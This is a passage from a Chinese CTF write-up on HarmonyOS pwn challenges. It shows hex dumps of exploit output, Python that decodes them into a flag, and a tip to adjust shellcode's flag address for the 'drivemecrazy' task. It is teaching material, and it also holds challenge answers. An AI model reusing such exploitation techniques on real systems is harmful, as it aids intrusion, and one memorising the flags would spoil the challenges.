<span class="mo">00000020</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">38</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">36</span> <span class="mi">37</span> <span class="mi">36</span> <span class="mi">31</span> <span class="mi">36</span> <span class="mi">63</span> <span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mo">05</span><span class="mi">80</span><span class="err">│</span> <span class="o">:</span><span class="mi">67</span><span class="err">│</span><span class="mi">616</span><span class="n">c</span><span class="err">│</span>
<span class="mo">00000030</span> <span class="mi">36</span> <span class="mi">36</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">36</span> <span class="mi">31</span> <span class="mi">34</span> <span class="mi">38</span> <span class="mi">37</span> <span class="mi">62</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">34</span> <span class="mi">34</span> <span class="err">│</span><span class="mi">66</span> <span class="mi">7</span><span class="err">│</span><span class="mi">2614</span><span class="err">│</span><span class="mi">87</span><span class="n">b</span> <span class="err">│</span><span class="mi">7244</span><span class="err">│</span>
<span class="mo">00000040</span> <span class="mi">36</span> <span class="mi">66</span> <span class="mi">36</span> <span class="mi">64</span> <span class="mi">20</span> <span class="mi">36</span> <span class="mi">35</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">35</span> <span class="mi">66</span> <span class="mi">36</span> <span class="mi">39</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span><span class="mi">6</span><span class="n">f6d</span><span class="err">│</span> <span class="mi">657</span><span class="err">│</span><span class="mi">25</span><span class="n">f6</span><span class="err">│</span><span class="mi">9</span> <span class="err">··│</span>
<span class="mo">00000050</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">39</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">34</span> <span class="mi">37</span> <span class="err">│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mo">05</span><span class="mi">90</span><span class="err">│</span> <span class="o">:</span><span class="mi">47</span><span class="err">│</span>
<span class="mo">00000060</span> <span class="mi">36</span> <span class="mi">65</span> <span class="mi">36</span> <span class="mi">35</span> <span class="mi">37</span> <span class="mi">36</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">37</span> <span class="mi">64</span> <span class="mi">34</span> <span class="mi">35</span> <span class="mi">20</span> <span class="err">│</span><span class="mf">6e65</span><span class="err">│</span><span class="mi">76</span> <span class="mi">0</span><span class="err">│</span><span class="mo">0007</span><span class="err">│</span><span class="n">d45</span> <span class="err">│</span>
<span class="mo">00000070</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span> <span class="mo">000</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span>
<span class="mo">000000</span><span class="mi">80</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">61</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">0</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mo">05</span><span class="n">a0</span><span class="err">│</span>
<span class="mo">000000</span><span class="mi">90</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span> <span class="o">:</span><span class="mo">00</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">00</span> <span class="mi">0</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span>
<span class="mo">000000</span><span class="n">a0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">36</span> <span class="mi">61</span> <span class="mi">32</span> <span class="mi">63</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span><span class="mo">000</span> <span class="err">│</span><span class="mi">4006</span><span class="err">│</span><span class="n">a2cc</span><span class="err">│</span> <span class="mo">000</span><span class="err">│</span>
<span class="mo">000000</span><span class="n">b0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mi">0</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span>
<span class="mo">000000</span><span class="n">c0</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">62</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="err">│</span><span class="mo">05</span><span class="n">b0</span><span class="err">│</span> <span class="o">:</span><span class="mo">00</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">00</span> <span class="mi">0</span><span class="err">│</span>
<span class="mo">000000</span><span class="n">d0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">65</span> <span class="mi">63</span> <span class="mi">36</span> <span class="mi">64</span> <span class="mi">61</span> <span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">000</span> <span class="err">│</span><span class="mi">400</span><span class="n">e</span><span class="err">│</span><span class="n">c6da</span><span class="err">│</span>
<span class="mf">000000e0</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">63</span> <span class="mi">38</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="err">│</span> <span class="mi">401</span><span class="err">│</span><span class="mi">305</span><span class="n">c</span><span class="err">│</span><span class="mi">8</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span>
<span class="mo">000000</span><span class="n">f0</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">63</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">32</span> <span class="mi">36</span> <span class="mi">62</span> <span class="mi">38</span> <span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mo">05</span><span class="n">c0</span><span class="err">│</span> <span class="o">:</span><span class="mi">40</span><span class="err">│</span><span class="mi">26</span><span class="n">b8</span><span class="err">│</span>
<span class="mo">00000100</span> <span class="mi">62</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">66</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">64</span> <span class="err">│</span><span class="n">bc</span> <span class="mi">7</span><span class="err">│</span><span class="n">ffff</span><span class="err">│</span><span class="n">fff</span> <span class="err">│</span><span class="mi">400</span><span class="n">d</span><span class="err">│</span>
<span class="mo">00000110</span> <span class="mi">65</span> <span class="mi">36</span> <span class="mi">62</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">66</span> <span class="mi">38</span> <span class="mi">34</span> <span class="mi">64</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span><span class="n">e6b0</span><span class="err">│</span> <span class="mi">400</span><span class="err">│</span><span class="n">f84d</span><span class="err">│</span><span class="n">c</span> <span class="err">··│</span>
<span class="mo">00000120</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">64</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mo">05</span><span class="n">d0</span><span class="err">│</span> <span class="o">:</span><span class="mo">00</span><span class="err">│</span>
<span class="mo">00000130</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">00</span> <span class="mi">0</span><span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">000</span> <span class="err">│</span>
<span class="mo">00000140</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">32</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">62</span> <span class="mi">66</span> <span class="err">│</span><span class="mo">0000</span><span class="err">│</span><span class="mo">0002</span><span class="err">│</span> <span class="mi">403</span><span class="err">│</span><span class="mo">00</span><span class="n">bf</span><span class="err">│</span>
<span class="mo">00000150</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">30</span> <span class="mi">35</span> <span class="mi">65</span> <span class="mi">30</span> <span class="err">│</span><span class="n">c</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mf">05e0</span><span class="err">│</span>
<span class="mo">00000160</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">36</span> <span class="mi">62</span> <span class="mi">65</span> <span class="mi">32</span> <span class="mi">63</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span> <span class="o">:</span><span class="mi">40</span><span class="err">│</span><span class="mo">06</span><span class="n">be</span><span class="err">│</span><span class="mi">2</span><span class="n">c</span> <span class="err">·│····│</span>
<span class="mo">00000170</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="err">│·</span><span class="o">***</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span>
<span class="mo">000001</span><span class="mi">80</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="mi">2</span><span class="n">a</span> <span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span><span class="o">****</span><span class="err">│</span>
</code></pre></div></div>
<p>处理并打印:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">flag</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'''
2e 2f 70 77 6e 0d 0d 0a 1b 5b 31 3b 33 31 6d 4f
48 4f 53 20 23 20 1b 5b 30 6d 0d 0d 0a 20 30 78
34 30 31 33 30 35 38 30 20 3a 36 37 36 31 36 63
36 36 20 37 32 36 31 34 38 37 62 20 37 32 34 34
36 66 36 64 20 36 35 37 32 35 66 36 39 20 0d 0d
0a 20 30 78 34 30 31 33 30 35 39 30 20 3a 34 37
36 65 36 35 37 36 20 30 30 30 30 37 64 34 35 20
30 30 30 30 30 30 30 30 20 30 30 30 30 30 30 30
30 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 61 30
20 3a 30 30 30 30 30 30 30 30 20 30 30 30 30 30
30 30 30 20 34 30 30 36 61 32 63 63 20 30 30 30
30 30 30 30 30 20 0d 0d 0a 20 30 78 34 30 31 33
30 35 62 30 20 3a 30 30 30 30 30 30 30 30 20 30
30 30 30 30 30 30 30 20 34 30 30 65 63 36 64 61
20 34 30 31 33 30 35 63 38 20 0d 0d 0a 20 30 78
34 30 31 33 30 35 63 30 20 3a 34 30 32 36 62 38
62 63 20 37 66 66 66 66 66 66 66 20 34 30 30 64
65 36 62 30 20 34 30 30 66 38 34 64 63 20 0d 0d
0a 20 30 78 34 30 31 33 30 35 64 30 20 3a 30 30
30 30 30 30 30 30 20 30 30 30 30 30 30 30 30 20
30 30 30 30 30 30 30 32 20 34 30 33 30 30 62 66
63 20 0d 0d 0a 20 30 78 34 30 31 33 30 35 65 30
20 3a 34 30 30 36 62 65 32 63 20 0d 0d 0a 0d 0d
0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a
2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a
'''</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">" "</span><span class="p">,</span><span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="s">""</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>
<p>打印结果:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span> <span class="n">flag</span><span class="p">.</span><span class="n">py</span>
<span class="p">.</span><span class="o">/</span><span class="n">pwn</span>
<span class="n">OHOS</span> <span class="c1">#
</span> <span class="mh">0x40130580</span> <span class="p">:</span><span class="mi">67616</span><span class="n">c66</span> <span class="mi">7261487</span><span class="n">b</span> <span class="mi">72446</span><span class="n">f6d</span> <span class="mi">65725</span><span class="n">f69</span>
<span class="mh">0x40130590</span> <span class="p">:</span><span class="mf">476e6576</span> <span class="mi">00007</span><span class="n">d45</span> <span class="mi">00000000</span> <span class="mi">00000000</span>
<span class="mh">0x401305a0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">4006</span><span class="n">a2cc</span> <span class="mi">00000000</span>
<span class="mh">0x401305b0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">400</span><span class="n">ec6da</span> <span class="mi">401305</span><span class="n">c8</span>
<span class="mh">0x401305c0</span> <span class="p">:</span><span class="mi">4026</span><span class="n">b8bc</span> <span class="mi">7</span><span class="n">fffffff</span> <span class="mi">400</span><span class="n">de6b0</span> <span class="mi">400</span><span class="n">f84dc</span>
<span class="mh">0x401305d0</span> <span class="p">:</span><span class="mi">00000000</span> <span class="mi">00000000</span> <span class="mi">00000002</span> <span class="mi">40300</span><span class="n">bfc</span>
<span class="mh">0x401305e0</span> <span class="p">:</span><span class="mi">4006</span><span class="n">be2c</span>
<span class="o">*******************************</span>
</code></pre></div></div>
<p>hex解码打印flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">l</span> <span class="o">=</span> <span class="p">[</span><span class="s">"67616c66"</span><span class="p">,</span><span class="s">"7261487b"</span><span class="p">,</span><span class="s">"72446f6d"</span><span class="p">,</span><span class="s">"65725f69"</span><span class="p">,</span><span class="s">"476e6576"</span><span class="p">,</span><span class="s">"00007d45"</span><span class="p">]</span>
<span class="n">f</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
<span class="n">f</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">i</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag{HarmoDri_revenGE}
</code></pre></div></div>
<h3 id="drivemecrazy">drivemecrazy</h3>
<p>同上,shellcode记得修改flag地址为0x40131580:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Received</span> <span class="mh">0xa84</span> <span class="nb">bytes</span><span class="p">:</span>
<span class="mi">00000000</span> <span class="mi">2</span><span class="n">e</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">70</span> <span class="mi">77</span> <span class="mi">6</span><span class="n">e</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">1</span><span class="n">b</span> <span class="mi">5</span><span class="n">b</span> <span class="mi">31</span> <span class="mi">3</span><span class="n">b</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">6</span><span class="n">d</span> <span class="mi">4</span><span class="n">f</span> <span class="err">│</span><span class="p">.</span><span class="o">/</span><span class="n">pw</span><span class="err">│</span><span class="n">n</span><span class="err">···│·</span><span class="p">[</span><span class="mi">1</span><span class="p">;</span><span class="err">│</span><span class="mi">31</span><span class="n">mO</span><span class="err">│</span>
<span class="mi">00000010</span> <span class="mi">48</span> <span class="mi">4</span><span class="n">f</span> <span class="mi">53</span> <span class="mi">20</span> <span class="mi">23</span> <span class="mi">20</span> <span class="mi">1</span><span class="n">b</span> <span class="mi">5</span><span class="n">b</span> <span class="mi">30</span> <span class="mi">6</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="err">│</span><span class="n">HOS</span> <span class="err">│</span><span class="c1"># ·[│0m··│· 0x│
</span><span class="mi">00000020</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">38</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">36</span> <span class="mi">37</span> <span class="mi">36</span> <span class="mi">31</span> <span class="mi">36</span> <span class="mi">63</span> <span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mi">1580</span><span class="err">│</span> <span class="p">:</span><span class="mi">67</span><span class="err">│</span><span class="mi">616</span><span class="n">c</span><span class="err">│</span>
<span class="mi">00000030</span> <span class="mi">36</span> <span class="mi">36</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">36</span> <span class="mi">31</span> <span class="mi">34</span> <span class="mi">38</span> <span class="mi">37</span> <span class="mi">62</span> <span class="mi">20</span> <span class="mi">36</span> <span class="mi">34</span> <span class="mi">36</span> <span class="mi">38</span> <span class="err">│</span><span class="mi">66</span> <span class="mi">7</span><span class="err">│</span><span class="mi">2614</span><span class="err">│</span><span class="mi">87</span><span class="n">b</span> <span class="err">│</span><span class="mi">6468</span><span class="err">│</span>
<span class="mi">00000040</span> <span class="mi">36</span> <span class="mi">66</span> <span class="mi">36</span> <span class="mi">64</span> <span class="mi">20</span> <span class="mi">36</span> <span class="mi">39</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">34</span> <span class="mi">34</span> <span class="mi">36</span> <span class="mi">36</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="err">│</span><span class="mi">6</span><span class="n">f6d</span><span class="err">│</span> <span class="mi">697</span><span class="err">│</span><span class="mi">2446</span><span class="err">│</span><span class="mi">6</span> <span class="err">··│</span>
<span class="mi">00000050</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">39</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">34</span> <span class="mi">33</span> <span class="err">│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mi">1590</span><span class="err">│</span> <span class="p">:</span><span class="mi">43</span><span class="err">│</span>
<span class="mi">00000060</span> <span class="mi">36</span> <span class="mi">35</span> <span class="mi">36</span> <span class="mi">64</span> <span class="mi">37</span> <span class="mi">36</span> <span class="mi">20</span> <span class="mi">37</span> <span class="mi">34</span> <span class="mi">37</span> <span class="mi">30</span> <span class="mi">37</span> <span class="mi">39</span> <span class="mi">37</span> <span class="mi">32</span> <span class="mi">20</span> <span class="err">│</span><span class="mi">656</span><span class="n">d</span><span class="err">│</span><span class="mi">76</span> <span class="mi">7</span><span class="err">│</span><span class="mi">4707</span><span class="err">│</span><span class="mi">972</span> <span class="err">│</span>
<span class="mi">00000070</span> <span class="mi">37</span> <span class="mi">64</span> <span class="mi">37</span> <span class="mi">39</span> <span class="mi">37</span> <span class="mi">61</span> <span class="mi">36</span> <span class="mi">66</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">7</span><span class="n">d79</span><span class="err">│</span><span class="mi">7</span><span class="n">a6f</span><span class="err">│</span> <span class="mi">000</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span>
<span class="mi">00000080</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">61</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">0</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span><span class="mi">15</span><span class="n">a0</span><span class="err">│</span>
<span class="mi">00000090</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span> <span class="p">:</span><span class="mi">00</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">00</span> <span class="mi">0</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span>
<span class="mi">000000</span><span class="n">a0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">000</span> <span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span> <span class="mi">000</span><span class="err">│</span>
<span class="mi">000000</span><span class="n">b0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">31</span> <span class="mi">33</span> <span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">0</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span><span class="mi">4013</span><span class="err">│</span>
<span class="mi">000000</span><span class="n">c0</span> <span class="mi">31</span> <span class="mi">35</span> <span class="mi">62</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">3</span><span class="n">a</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">30</span> <span class="err">│</span><span class="mi">15</span><span class="n">b0</span><span class="err">│</span> <span class="p">:</span><span class="mi">00</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">00</span> <span class="mi">0</span><span class="err">│</span>
<span class="mi">000000</span><span class="n">d0</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">34</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">36</span> <span class="mi">61</span> <span class="mi">32</span> <span class="mi">64</span> <span class="mi">38</span> <span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">000</span> <span class="err">│</span><span class="mi">4006</span><span class="err">│</span><span class="n">a2d8</span><span class="err">│</span>
<span class="mf">000000e0</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">30</span> <span class="mi">20</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">d</span> <span class="mi">0</span><span class="n">a</span> <span class="mi">20</span> <span class="mi">30</span> <span class="mi">78</span> <span class="err">│</span> <span class="mi">000</span><span class="err">│</span><span class="mi">0000</span><span class="err">│</span><span class="mi">0</span> <span class="err">··│·</span> <span class="mi">0</span><span class="n">x</span><span class="err">│</span>
